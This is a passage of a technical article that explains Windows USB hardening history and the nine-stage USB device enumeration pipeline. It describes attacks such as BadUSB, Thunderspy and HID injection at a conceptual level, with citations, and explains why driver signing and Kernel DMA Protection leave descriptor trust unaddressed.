sophisticated attack scenarios previously only capable with $20,000 cables&quot;&lt;/em&gt; [@omg-cable]. The FBI&apos;s March 2020 FLASH alert -- reported by BleepingComputer at the time -- confirmed organized cybercriminal actors mailing the same primitive: &lt;em&gt;&quot;Hackers from the FIN7 cybercriminal group have been targeting various businesses with malicious USB devices acting as a keyboard when plugged into a computer ... These USB drives are configured to emulate keystrokes that launch a PowerShell command to retrieve malware from server controlled by the attacker&quot;&lt;/em&gt; [@bleeping-fin7]. The FBI repeated the warning with a follow-on FLASH alert in January 2022 that extended the targeting to transportation, insurance, and defense companies [@wiki-badusb].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 7 -- Thunderbolt DMA and Thunderclap (NDSS 2019), Thunderspy (2020).&lt;/strong&gt; Theodore Markettos, Colin Rothwell, Brett Gutstein, Allison Pearce, Peter Neumann, Simon Moore, and Robert Watson of Cambridge, Rice, and SRI demonstrated peripheral DMA attacks against IOMMU-on platforms via shared-IOMMU-context attacks. Their NDSS 2019 paper concludes verbatim: &lt;em&gt;&quot;Windows only uses the IOMMU in limited cases and remains vulnerable&quot;&lt;/em&gt; [@ndss-thunderclap]. One year later, Björn Ruytenberg of Eindhoven University released &lt;em&gt;Thunderspy&lt;/em&gt;, a family of seven vulnerabilities extending the attack surface to firmware-reflash of the Thunderbolt controller itself: &lt;em&gt;&quot;All the attacker needs is 5 minutes alone with the computer, a screwdriver, and some easily portable hardware&quot;&lt;/em&gt; [@thunderspy]. Wikipedia preserves the May 10, 2020 disclosure date [@thunderspy-wiki].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 8 -- Kernel DMA Protection (Windows 10 1803, April 2018).&lt;/strong&gt; This is the first Windows USB-adjacent defense that targeted &lt;em&gt;trust below the descriptor parser&lt;/em&gt; rather than the parser itself. Microsoft Learn names the primitive verbatim: &lt;em&gt;&quot;Windows uses the system Input/Output Memory Management Unit (IOMMU) to block external peripherals from starting and performing DMA, unless the drivers for these peripherals support memory isolation (such as DMA-remapping) ... By default, peripherals with DMA Remapping incompatible drivers are blocked from starting and performing DMA until an authorized user signs into the system or unlocks the screen&quot;&lt;/em&gt; [@ms-kdp]. Per-driver opt-in is documented separately [@ms-dmaremap]. The same Microsoft Learn page is explicit about what KDP does &lt;em&gt;not&lt;/em&gt; defend: &lt;em&gt;&quot;Kernel DMA Protection feature doesn&apos;t protect against DMA attacks via 1394/FireWire, PCMCIA, CardBus, or ExpressCard&quot;&lt;/em&gt;. A USB 2.0 thumb drive performs no DMA at all; KDP is silent on it.&lt;/p&gt;

Kernel DMA Protection is the Windows defense that uses the platform&apos;s IOMMU (Intel VT-d, AMD-Vi, or an ARM equivalent) to confine externally connected PCIe-class peripherals to device-private memory windows. With KDP armed, a Thunderbolt or USB4 peripheral cannot read arbitrary kernel memory by issuing DMA requests, even if its driver is malicious or buggy. KDP is opt-in at three levels: silicon (the platform must have an IOMMU), firmware (the UEFI must publish DMAR / IVRS tables), and driver (the driver must declare `DmaRemappingCompatible=1` in its INF). KDP does not protect against attacks delivered through descriptor parsing, HID injection, or mass-storage exfiltration.
&lt;p&gt;&lt;strong&gt;Generation 9 -- USB Type-C UCM stack (Windows 10 1607, 2016).&lt;/strong&gt; The User-mode Connector Manager class extension family -- &lt;code&gt;UcmCx.sys&lt;/code&gt;, &lt;code&gt;UcmUcsiCx.sys&lt;/code&gt;, &lt;code&gt;UcmTcpciCx.sys&lt;/code&gt; -- brought Power Delivery, Alternate Mode (DisplayPort, Thunderbolt, USB4), and bidirectional power-role negotiation into the Windows driver model. Microsoft Learn names the architecture verbatim: &lt;em&gt;&quot;UCM is designed by using the WDF class extension-client driver model&quot;&lt;/em&gt; [@ms-typec].&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Generation 10 -- Defender, ASR, and Device Control unification (2018-2024).&lt;/strong&gt; The Attack Surface Reduction rule set, documented in Microsoft&apos;s ASR-rule-to-GUID matrix [@ms-asr-rules], includes the rule &lt;em&gt;Block untrusted and unsigned processes that run from USB&lt;/em&gt; with GUID &lt;code&gt;b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4&lt;/code&gt;. Microsoft Defender for Endpoint Device Control followed, generally available in 2024, with per-VID/PID, per-serial-number, per-operation, and per-user policy primitives [@ms-devcontrol]. Together with the older Group Policy Device Installation Restrictions framework [@ms-gpo-devinstall] and the system-defined Device Setup Class GUIDs [@ms-devsetupclasses], these form the deployable enterprise triangle around the BadUSB / HID-injection problem.&lt;/p&gt;

timeline
    title Ten generations of Windows USB hardening
    1996 : Gen 1 : Original USB stack ships ; unsigned 32-bit drivers
    2007 : Gen 2 : KMCS on Vista x64 ; mandatory signed kernel binaries
    2009-2011 : Gen 3 : AutoRun and LNK lockdown ; KB971029 and MS10-046
    2011 : Gen 4 : Andy Davis names the descriptor parser surface
    2012 : Gen 4 cont. : USB 3.0 KMDF stack ships in Windows 8
    2014 : Gen 5 : BadUSB watershed ; SR Labs at Black Hat
    2010-2024 : Gen 6 : HID-as-weapon era ; Rubber Ducky to O.MG Cable
    2019-2020 : Gen 7 : Thunderclap and Thunderspy ; IOMMU is not enough
    2018 : Gen 8 : Kernel DMA Protection ; Windows 10 1803
    2016 : Gen 9 : USB Type-C UCM stack ; Windows 10 1607
    2018-2024 : Gen 10 : ASR, Device Control, GPO triangle ; Defender for Endpoint
&lt;p&gt;Sources, in row order: [@ms-usb-3-0-stack] for the USB 2.0 stack and the USB 3.0 KMDF rewrite; [@ms-kmcs] for the Vista x64 signing transition; [@krebs-feb2011] and [@nvd-cve-2010-2568] for the AutoRun-and-LNK lockdown; [@ncc-davis-2011] for the Andy Davis Black Hat 2011 talk; [@srlabs-badusb-pdf] and [@wiki-badusb] for the BadUSB three-author SR Labs disclosure; [@hak5-shop-ducky], [@hak5-ducky-docs], [@omg-cable], and [@bleeping-fin7] for the HID-as-weapon lineage; [@ndss-thunderclap] and [@thunderspy] for the IOMMU attack family; [@ms-kdp] and [@ms-dmaremap] for Kernel DMA Protection; [@ms-typec] for the Type-C UCM stack; [@ms-asr-rules], [@ms-devcontrol], [@ms-gpo-devinstall], and [@ms-devsetupclasses] for the modern enterprise policy triangle.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Ten generations of Windows USB hardening. Signing on top, IOMMU underneath, policy frameworks around the edges. Every one of them addressed a surface adjacent to the descriptor parser. None addressed the contract the descriptor parser has to honor: that the peripheral&apos;s self-declared identity is the only identity the host gets. Until USB-IF Authentication 1.0 ships in commodity silicon, that contract is going to outlast every defense in this section.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ten generations of hardening, each closing a single attack surface, each leaving the descriptor-trust contract intact. The single defense that &lt;em&gt;should&lt;/em&gt; close it -- USB-IF Authentication 1.0, published January 2019 -- is the next section&apos;s reckoning.&lt;/p&gt;
&lt;h2&gt;5. The Modern USB Stack as a Multi-Stage Verifier&lt;/h2&gt;
&lt;p&gt;We have walked forty years of inheritance and ten generations of layered hardening. Now we are going to do the thing the rest of this article rests on: walk a single USB device, from the millisecond it makes electrical contact to the moment a class driver attaches to it, through the nine stages Windows 11 25H2 actually executes -- by named binary, by descriptor, by trust decision.&lt;/p&gt;
&lt;p&gt;Those nine stages are a reorganisation of §1&apos;s eleven kernel-mode operations, not a different list. §1&apos;s three physical-detection operations -- port-status interrupt, port reset, speed detection -- fuse into Stage 1; §1&apos;s three default-address descriptor operations (initial 8-byte fetch, &lt;code&gt;SET_ADDRESS&lt;/code&gt;, full 18-byte fetch) fuse into Stage 2; §1&apos;s combined INF-search-and-KMCS operation splits into Stages 6 and 7; and a new Stage 9 covers the IOMMU enforcement Kernel DMA Protection performs after the class driver attaches. The arithmetic is &lt;em&gt;eleven minus two minus two plus one plus one equals nine&lt;/em&gt;. The StudyGuide question 1 at the foot of this article retains the §1 framing for exam purposes; the per-stage walk below uses the §5 reorganisation.&lt;/p&gt;

sequenceDiagram
    participant Dev as USB device
    participant XHCI as usbxhci.sys (host controller)
    participant Hub as usbhub3.sys (hub driver)
    participant CCGP as usbccgp.sys (composite parent)
    participant PnP as PnP manager
    participant IO as I/O manager
    participant Cls as Class driver (e.g. hidclass.sys)
    Dev-&amp;gt;&amp;gt;XHCI: Stage 1 -- electrical attach + port status change
    XHCI-&amp;gt;&amp;gt;Dev: Port reset + speed detection
    XHCI-&amp;gt;&amp;gt;Hub: New device on port N (default address 0)
    Hub-&amp;gt;&amp;gt;Dev: Stage 2 -- GET_DESCRIPTOR (device, first 8 bytes)
    Hub-&amp;gt;&amp;gt;Dev: SET_ADDRESS
    Hub-&amp;gt;&amp;gt;Dev: GET_DESCRIPTOR (device, full 18 bytes)
    Hub-&amp;gt;&amp;gt;Dev: Stage 3 -- GET_DESCRIPTOR (config, first 9 bytes)
    Hub-&amp;gt;&amp;gt;Dev: GET_DESCRIPTOR (config, full wTotalLength)
    Hub-&amp;gt;&amp;gt;CCGP: Stage 4 -- composite split (if bDeviceClass=0x00 or IAD present)
    CCGP-&amp;gt;&amp;gt;PnP: Per-interface PDOs
    PnP-&amp;gt;&amp;gt;PnP: Stage 5 -- synthesize hardware + compatible IDs
    PnP-&amp;gt;&amp;gt;PnP: Stage 6 -- INF database search with rank scoring
    PnP-&amp;gt;&amp;gt;IO: Stage 7 -- KMCS check on chosen function driver
    IO-&amp;gt;&amp;gt;Cls: Stage 8 -- attach class driver to device node
    IO-&amp;gt;&amp;gt;IO: Stage 9 -- IOMMU policy (KDP, if armed)
&lt;p&gt;The sources for each stage are cited inline in the prose that follows. We will walk all nine.&lt;/p&gt;
&lt;h3&gt;Stage 1: Physical detection (&lt;code&gt;usbxhci.sys&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The xHCI host controller&apos;s hardware raises a port-status-change interrupt when a downstream port detects electrical attach. The host-controller driver -- &lt;code&gt;usbxhci.sys&lt;/code&gt; on Windows 8 and newer -- handles the interrupt, drives the port through a reset, and detects the device&apos;s negotiated speed: Low (1.5 Mbps), Full (12 Mbps), High (480 Mbps), Super (5 Gbps), or Super+ Speed (10 Gbps and beyond) [@wiki-usb]. Microsoft&apos;s architecture documentation names this verbatim: &lt;em&gt;&quot;The xHCI driver is the USB 3.0 host controller driver&quot;&lt;/em&gt; and pairs with the framework-derived host-controller extension &lt;code&gt;Ucx01000.sys&lt;/code&gt; [@ms-usb-3-0-stack]. The device, at this point, has no identity. It has a port number and a speed. It does not yet have a USB bus address; it lives at the default address (zero) until the hub assigns one.&lt;/p&gt;
&lt;h3&gt;Stage 2: Initial device-descriptor fetch (&lt;code&gt;usbhub3.sys&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;The hub driver, &lt;code&gt;usbhub3.sys&lt;/code&gt;, issues the first control transfer. The request is &lt;code&gt;bmRequestType=0x80, bRequest=GET_DESCRIPTOR, wValue=0x0100, wLength=8&lt;/code&gt; -- &quot;give me the first eight bytes of the device descriptor at default address zero.&quot; The first eight bytes carry the &lt;code&gt;bMaxPacketSize0&lt;/code&gt; field, which tells the host how to size subsequent control transfers. &lt;code&gt;SET_ADDRESS&lt;/code&gt; assigns a real bus address. A second &lt;code&gt;GET_DESCRIPTOR&lt;/code&gt; then retrieves the full eighteen-byte &lt;code&gt;USB_DEVICE_DESCRIPTOR&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is the descriptor parser&apos;s first contact with attacker-controlled bytes -- the surface Andy Davis demonstrated as exploitable at Black Hat 2011 [@ncc-davis-2011]. The binary doing the parsing is &lt;code&gt;usbhub3.sys&lt;/code&gt;, the same hub driver §4 Generation 4 names verbatim from the architecture reference [@ms-usb-3-0-stack]. The hub driver runs in ring zero. The bytes it parses originate in the peripheral&apos;s firmware. The trust contract is one-way.&lt;/p&gt;
&lt;h3&gt;Stage 3: Configuration-descriptor fetch&lt;/h3&gt;
&lt;p&gt;The hub driver issues a third &lt;code&gt;GET_DESCRIPTOR&lt;/code&gt; for the first nine bytes of &lt;code&gt;USB_CONFIGURATION_DESCRIPTOR&lt;/code&gt; to learn the &lt;code&gt;wTotalLength&lt;/code&gt; field; a fourth fetch retrieves the full configuration, which includes one or more &lt;code&gt;USB_INTERFACE_DESCRIPTOR&lt;/code&gt;s, each followed by its &lt;code&gt;USB_ENDPOINT_DESCRIPTOR&lt;/code&gt;s and any class-specific descriptors (HID report descriptors, mass-storage CSW formats, audio control units).The two-fetch pattern -- read nine bytes to learn the size, then re-read the full block -- is a perfectly sensible engineering optimization. It also doubles the number of attacker-controlled parser entries the hub driver executes per insertion. The pragmatic optimization and the widened attack surface are the same line of code. All of this is parsed in &lt;code&gt;usbhub3.sys&lt;/code&gt; [@ms-usb-3-0-stack]. This stage is the bulk of the kernel&apos;s adversarial-input surface for USB.&lt;/p&gt;

A composite USB device is a single physical peripheral that declares multiple independent interfaces. A common pattern is a wireless-keyboard-and-mouse receiver that presents one USB interface for the keyboard and a second for the mouse. The host treats each interface as a separate logical device and binds a class driver to each. Composite-device handling is the structural primitive that makes the BadUSB *&quot;mass storage device that also presents a HID keyboard interface&quot;* attack possible inside an unmodified USB peripheral.
&lt;h3&gt;Stage 4: Composite-device split (&lt;code&gt;usbccgp.sys&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;If the device descriptor&apos;s &lt;code&gt;bDeviceClass&lt;/code&gt; is &lt;code&gt;0x00&lt;/code&gt; (deferred to interface), &lt;strong&gt;or&lt;/strong&gt; its &lt;code&gt;bDeviceClass&lt;/code&gt; / &lt;code&gt;bDeviceSubClass&lt;/code&gt; / &lt;code&gt;bDeviceProtocol&lt;/code&gt; triple is &lt;code&gt;0xEF&lt;/code&gt; / &lt;code&gt;0x02&lt;/code&gt; / &lt;code&gt;0x01&lt;/code&gt; (the Multi-Interface Function class signalled by Interface Association Descriptors), &lt;strong&gt;and&lt;/strong&gt; the device has more than one interface &lt;strong&gt;and&lt;/strong&gt; a single configuration, the hub bus driver synthesizes an additional compatible ID of &lt;code&gt;USB\COMPOSITE&lt;/code&gt;. The PnP manager&apos;s INF search then matches that compatible ID against &lt;code&gt;Usb.inf&lt;/code&gt; and loads the generic parent driver. Microsoft Learn states the architecture verbatim: &lt;em&gt;&quot;the USB generic parent driver (Usbccgp.sys) ... the generic parent driver enumerates each of these interfaces as a separate device&quot;&lt;/em&gt; [@ms-ccgp]; the USB 3.0 architecture page is verbatim about which layer does the synthesis: &lt;em&gt;&quot;The hub driver enumerates and loads the parent composite driver if deviceClass is 0 or 0xef and numInterfaces is greater than 1 in the device descriptor&quot;&lt;/em&gt; [@ms-usb-3-0-stack]. &lt;code&gt;usbccgp.sys&lt;/code&gt; then creates one child physical device object (PDO) per interface and lets the PnP manager bind a class driver to each independently. &lt;strong&gt;This is the moment a single physical thumb drive can become a thumb drive &lt;em&gt;and&lt;/em&gt; a HID keyboard.&lt;/strong&gt; Nothing in this stage cross-checks whether the combination is a plausible product; the device has declared it, and the host honors the declaration.&lt;/p&gt;
&lt;h3&gt;Stage 5: Hardware-ID and compatible-ID synthesis&lt;/h3&gt;
&lt;p&gt;The PnP manager builds two ordered lists from the descriptor fields it just parsed:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Hardware IDs&lt;/em&gt; (most specific): &lt;code&gt;USB\VID_xxxx&amp;amp;PID_xxxx&amp;amp;REV_xxxx&lt;/code&gt;, &lt;code&gt;USB\VID_xxxx&amp;amp;PID_xxxx&lt;/code&gt;, and for composite devices &lt;code&gt;USB\VID_xxxx&amp;amp;PID_xxxx&amp;amp;MI_xx&lt;/code&gt; (interface number) [@ms-hwids].&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Compatible IDs&lt;/em&gt; (fallback): &lt;code&gt;USB\Class_xx&amp;amp;SubClass_xx&amp;amp;Prot_xx&lt;/code&gt;, then &lt;code&gt;USB\Class_xx&amp;amp;SubClass_xx&lt;/code&gt;, then &lt;code&gt;USB\Class_xx&lt;/code&gt; [@ms-compatids].&lt;/li&gt;
&lt;/ul&gt;

A hardware ID is the most specific identifier the Plug-and-Play manager uses to bind a driver to a device. For USB, the canonical hardware ID is `USB\VID_xxxx&amp;amp;PID_xxxx&amp;amp;REV_xxxx`, derived directly from the device descriptor&apos;s `idVendor`, `idProduct`, and `bcdDevice` fields. A driver INF that names a hardware ID exactly will outrank any compatible-ID match in the rank-scored search; vendors use this to ship a vendor-specific function driver for their own hardware.

A compatible ID is a generic identifier the Plug-and-Play manager falls back to when no driver INF names the device&apos;s hardware ID. For USB, compatible IDs are class-coded: `USB\Class_03&amp;amp;SubClass_01&amp;amp;Prot_01` is a boot-protocol keyboard, `USB\Class_08&amp;amp;SubClass_06&amp;amp;Prot_50` is a SCSI-transparent mass-storage device. The inbox Microsoft class drivers (`hidusb.sys`, `usbstor.sys`, and so on) are registered against compatible IDs, which is why an unbranded thumb drive with no vendor INF still gets a working class driver on Windows.
&lt;h3&gt;Stage 6: INF database search with rank scoring&lt;/h3&gt;
&lt;p&gt;The PnP manager hands the two lists to the driver-store INF search. The algorithm is documented under &quot;How Setup Selects Drivers&quot; [@ms-pnp-rank] and is rank-arithmetic: each candidate INF is assigned a 32-bit rank, lowest wins. Roughly speaking, the rank is composed from three terms: an ID-match term (hardware-ID hit beats compatible-ID hit, and a higher hardware-ID in the list beats a lower one), a signer-trust term (a Microsoft-signed driver outranks a third-party-signed driver of equal ID specificity), and an OS-version term. The chosen INF&apos;s &lt;code&gt;[Models]&lt;/code&gt; section names the function driver [@ms-inf]. The two-phase driver-package model (introduced in Windows 8) first installs the best driver-store match for fast operation, then queries Windows Update separately for a potentially better match [@ms-pnp-rank].&lt;/p&gt;
&lt;p&gt;Worked example. A USB Mass Storage device exposes hardware ID &lt;code&gt;USB\VID_0951&amp;amp;PID_1666&lt;/code&gt; (a Kingston DataTraveler) and compatible ID &lt;code&gt;USB\Class_08&amp;amp;SubClass_06&amp;amp;Prot_50&lt;/code&gt; (SCSI-transparent bulk-only). The driver store contains the Microsoft inbox INF (&lt;code&gt;usbstor.inf&lt;/code&gt;) registered against the compatible ID and signed by Microsoft, and a third-party INF registered against the hardware ID and signed by a paid-up OEM. The rank arithmetic decides which one wins.&lt;/p&gt;

flowchart TD
    Dev[&quot;Device exposes:&lt;br /&gt;HWID=USB\VID_0951&amp;amp;PID_1666&lt;br /&gt;CompatID=USB\Class_08&amp;amp;SubClass_06&amp;amp;Prot_50&quot;]
    Dev --&amp;gt; Store[&quot;Driver store search&quot;]
    Store --&amp;gt; A[&quot;Candidate A: usbstor.inf&lt;br /&gt;Match on CompatID&lt;br /&gt;Signer: Microsoft (rank 0x00)&quot;]
    Store --&amp;gt; B[&quot;Candidate B: vendor.inf&lt;br /&gt;Match on HWID&lt;br /&gt;Signer: OEM (rank 0x01)&quot;]
    A --&amp;gt; ARank[&quot;A.rank = HWID_RANK_BASE + CompatID_term + 0x00&lt;br /&gt;= 0x0000 + 0x1003 + 0x00&lt;br /&gt;= 0x1003&quot;]
    B --&amp;gt; BRank[&quot;B.rank = HWID_term + Signer_term&lt;br /&gt;= 0x0000 + 0x01&lt;br /&gt;= 0x0001&quot;]
    ARank --&amp;gt; D{&quot;Compare ranks (lowest wins)&quot;}
    BRank --&amp;gt; D
    D --&amp;gt; Win[&quot;B wins: vendor.inf binds to USB\VID_0951&amp;amp;PID_1666&quot;]
&lt;p&gt;The exact numeric constants are policy-controlled and vary by Windows version; the structural ordering is documented [@ms-pnp-rank] [@ms-hwids] [@ms-compatids] [@ms-inf]. The takeaway is that a USB device with no hardware-ID-specific INF in the driver store always falls back to the Microsoft inbox class driver matched on compatible ID, which is why an arbitrary thumb drive declaring &lt;code&gt;bInterfaceClass=0x08&lt;/code&gt; always finds &lt;code&gt;usbstor.sys&lt;/code&gt; ready to load.&lt;/p&gt;
&lt;p&gt;{`
// Simplified model of the documented rank-scoring algorithm.
// Lower numeric rank wins; the exact constants are version-policy controlled.&lt;/p&gt;
&lt;p&gt;const HWID_BASE      = 0x0000;
const COMPATID_BASE  = 0x1000;
const POSITION_STEP  = 0x0001;
const SIGNER = { MICROSOFT: 0x00, OEM: 0x01, THIRD_PARTY: 0x02, UNSIGNED: 0x80 };&lt;/p&gt;
&lt;p&gt;function rank(match) {
  const idTerm = match.kind === &quot;HWID&quot; ? HWID_BASE : COMPATID_BASE;
  const positionTerm = match.position * POSITION_STEP;
  return idTerm + positionTerm + SIGNER[match.signer];
}&lt;/p&gt;
&lt;p&gt;const candidates = [
  { name: &quot;usbstor.inf (Microsoft inbox)&quot;,
    kind: &quot;COMPATID&quot;, position: 3, signer: &quot;MICROSOFT&quot; },
  { name: &quot;vendor.inf (Kingston OEM)&quot;,
    kind: &quot;HWID&quot;, position: 0, signer: &quot;OEM&quot; },
];&lt;/p&gt;
&lt;p&gt;const ranked = candidates
  .map(c =&amp;gt; ({ ...c, rank: rank(c).toString(16).padStart(4, &quot;0&quot;) }))
  .sort((a, b) =&amp;gt; parseInt(a.rank, 16) - parseInt(b.rank, 16));&lt;/p&gt;
&lt;p&gt;for (const c of ranked) console.log(`rank=0x${c.rank}  ${c.name}`);
console.log(&quot;Winner:&quot;, ranked[0].name);
`}&lt;/p&gt;
&lt;h3&gt;Stage 7: KMCS verification of the chosen driver&lt;/h3&gt;
&lt;p&gt;The function driver named in the winning INF is loaded. Before the I/O manager attaches it, the loader checks its signature against the Kernel-Mode Code Signing policy: signature must chain to a Microsoft-trusted root, use SHA-256, and -- if Hypervisor-Enforced Code Integrity is enabled -- pass HVCI&apos;s per-page integrity check. The driver block list and the vulnerable-driver block list are consulted. The full signing-by-version matrix is documented on Microsoft Learn [@ms-kmcs] [@ms-drvsigning].&lt;/p&gt;
&lt;p&gt;This is the canonical aha moment of the article. Kernel-Mode Code Signing certifies the &lt;em&gt;driver&lt;/em&gt;. It does not certify what the driver &lt;em&gt;consumes&lt;/em&gt;.&lt;/p&gt;

Imagine the system from KMCS&apos;s point of view. The Microsoft-signed `hidclass.sys` arrives at the kernel-mode loader. Its signature chains to a Microsoft-trusted root, its hash is correct, the HVCI memory-integrity policy is satisfied. Everything KMCS is asked to verify is verified. `hidclass.sys` loads.&lt;p&gt;At runtime, &lt;code&gt;hidclass.sys&lt;/code&gt; accepts whatever HID input event arrives on the wire. The bytes that arrive carry no signature. The peripheral that produced them was never authenticated. KMCS protects the kernel from a &lt;em&gt;malicious driver&lt;/em&gt;; the threat model assumes the data the driver consumes is honest. Against BadUSB, that assumption is exactly the inverse of true. The signed &lt;code&gt;hidclass.sys&lt;/code&gt; is the &lt;em&gt;attacker&apos;s tool&lt;/em&gt;: it is the binary that injects the malicious keystrokes into the active session.&lt;/p&gt;
&lt;p&gt;KMCS is not broken. The work it does is real and necessary; without it, the BadUSB primitive would also let an attacker load arbitrary &lt;code&gt;.sys&lt;/code&gt; files. KMCS just does not solve, and is not in the threat model of, the descriptor-trust problem. That gap is the article&apos;s recurring point.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;
&lt;h3&gt;Stage 8: Class-driver attachment&lt;/h3&gt;
&lt;p&gt;With the rank scoring decided and the function driver KMCS-verified, the I/O manager attaches the driver to the new device node and the class driver begins serving I/O. The function driver is drawn from the inbox class-driver roster catalogued in §6 -- &lt;code&gt;hidclass.sys&lt;/code&gt; and &lt;code&gt;hidusb.sys&lt;/code&gt; for HID; &lt;code&gt;usbstor.sys&lt;/code&gt; for mass storage; &lt;code&gt;winusb.sys&lt;/code&gt; for vendor-specific generic access via the Microsoft OS Descriptor mechanism [@ms-winusb]; the &lt;code&gt;UcmCx.sys&lt;/code&gt; family for Type-C connector management [@ms-typec]; and the rest of the inbox roster in §6 [@ms-usb-3-0-stack]. This is the moment a USB device transitions from a parsed PDO to a binding that exposes per-class I/O semantics to user-mode -- the IRQL boundary at which descriptor-trust becomes operational rather than merely synthesised.&lt;/p&gt;
&lt;h3&gt;Stage 9: IOMMU enforcement (Kernel DMA Protection)&lt;/h3&gt;
&lt;p&gt;If Kernel DMA Protection is armed &lt;em&gt;and&lt;/em&gt; the device is externally connected via a PCIe-tunneling fabric (Thunderbolt 3, Thunderbolt 4, USB4), the platform IOMMU places the device behind a device-specific translation domain. Pre-login DMA is blocked. Post-login DMA is allowed only into the device&apos;s own sandboxed memory if the driver opted in with &lt;code&gt;DmaRemappingCompatible=1&lt;/code&gt; in its INF [@ms-dmaremap]. KDP performs the IOMMU-mediated peripheral confinement quoted verbatim in §4 Generation 8 [@ms-kdp]. The deeper architectural treatment of Windows&apos;s hypervisor-enforced isolation primitives lives in the sibling article on the secure kernel and Virtualization-Based Security.&lt;/p&gt;

An IOMMU is a hardware unit that sits between peripherals and main memory, translating peripheral-issued DMA addresses through a per-device page table the operating system controls. Intel&apos;s implementation is called VT-d; AMD&apos;s is AMD-Vi; ARM platforms expose a System Memory Management Unit (SMMU). With an IOMMU enabled and configured by the OS, a peripheral that issues a DMA read to an address outside its sandboxed memory region gets a translation fault instead of a successful read. Without an IOMMU -- or with the IOMMU not enforcing policy on a given device -- peripheral DMA is unrestricted physical-address access to the kernel.
&lt;p&gt;A USB 2.0 thumb drive performs no DMA. KDP is silent on it.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Kernel DMA Protection is a Thunderbolt-and-PCIe-over-USB-C defense. It does not apply to USB 2.0 mass storage, HID, or audio. It does not apply to a USB 3.x flash drive talking the Mass Storage Class. It applies to PCIe peripherals tunneled over the same physical connector. If your threat model is &quot;a malicious thumb drive types Mimikatz into my Start menu,&quot; KDP is not in your defense chain at all.&lt;/p&gt;
&lt;/blockquote&gt;

flowchart TD
    subgraph HC[&quot;Host controller layer&quot;]
        XHCI[&quot;usbxhci.sys&lt;br /&gt;USB 3.0 host controller driver&quot;]
        UCX[&quot;Ucx01000.sys&lt;br /&gt;USB host controller extension (KMDF)&quot;]
    end
    subgraph Hub[&quot;Hub layer&quot;]
        H[&quot;usbhub3.sys&lt;br /&gt;USB 3.0 hub and enumeration&quot;]
    end
    subgraph Comp[&quot;Composite split&quot;]
        CCGP[&quot;usbccgp.sys&lt;br /&gt;generic parent: one PDO per interface&quot;]
    end
    subgraph Class[&quot;Class-driver layer&quot;]
        HID[&quot;hidclass.sys + hidusb.sys&lt;br /&gt;HID class&quot;]
        STOR[&quot;usbstor.sys&lt;br /&gt;Mass Storage Class&quot;]
        AUDIO[&quot;usbaudio2.sys&lt;br /&gt;Audio Class 2.0&quot;]
        VIDEO[&quot;usbvideo.sys&lt;br /&gt;USB Video Class (UVC)&quot;]
        SER[&quot;usbser.sys&lt;br /&gt;CDC Serial&quot;]
        WIN[&quot;winusb.sys&lt;br /&gt;Generic vendor access&quot;]
        UCM[&quot;UcmCx / UcmUcsiCx / UcmTcpciCx&lt;br /&gt;USB Type-C connector&quot;]
    end
    XHCI --&amp;gt; UCX
    UCX --&amp;gt; H
    H --&amp;gt; CCGP
    CCGP --&amp;gt; HID
    CCGP --&amp;gt; STOR
    CCGP --&amp;gt; AUDIO
    CCGP --&amp;gt; VIDEO
    CCGP --&amp;gt; SER
    CCGP --&amp;gt; WIN
    CCGP --&amp;gt; UCM
&lt;p&gt;Sources for the architecture diagram, layer by layer: [@ms-usb-3-0-stack] for the host-controller and hub layers (&lt;code&gt;usbxhci.sys&lt;/code&gt;, &lt;code&gt;Ucx01000.sys&lt;/code&gt;, &lt;code&gt;usbhub3.sys&lt;/code&gt;); [@ms-ccgp] for the composite parent driver &lt;code&gt;usbccgp.sys&lt;/code&gt;; [@ms-winusb] for &lt;code&gt;winusb.sys&lt;/code&gt;; [@ms-typec] for the UCM class-extension family.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Of the nine stages Windows executes between physical insertion and a class-driver attach, only two -- Stages 7 and 9 -- consult anything Windows holds as cryptographic truth. The other seven trust whatever the peripheral says, the moment the peripheral says it. KMCS certifies the driver, not the device. KDP certifies the bus, not the descriptor. The descriptor-trust gap is structural to USB; it lives in Stages 2 through 6, and no Windows-side defense has ever proposed to close it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nine stages. Two of them are the security model the article&apos;s reader thought &lt;em&gt;was&lt;/em&gt; the security model. The other seven are descriptor parsing, ID synthesis, and INF search -- and they trust whatever the peripheral declares.&lt;/p&gt;
&lt;h2&gt;6. What Ships in Windows 11 24H2 / 25H2&lt;/h2&gt;
&lt;p&gt;Section 5 was the &lt;em&gt;pipeline&lt;/em&gt;. This section is the &lt;em&gt;roster&lt;/em&gt;: every Windows-11-shipping mechanism that defends the USB attack surface, what it actually does, and -- in the table at the end of this section -- what it does not.&lt;/p&gt;
